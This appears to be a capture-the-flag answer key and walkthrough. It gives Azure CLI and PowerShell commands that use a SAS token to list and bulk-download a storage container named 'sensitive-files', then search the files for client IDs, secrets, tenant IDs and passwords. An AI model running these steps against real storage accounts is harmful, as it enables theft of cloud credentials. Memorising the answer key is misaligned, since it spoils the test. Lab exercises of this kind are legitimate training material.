The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list

--account-name excaliburstore

--container-name sensitive-files

--sas-token '$SAS'

--query '[].name'

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch

--account-name excaliburstore

--source sensitive-files

--destination blobloot

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .blobloot* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

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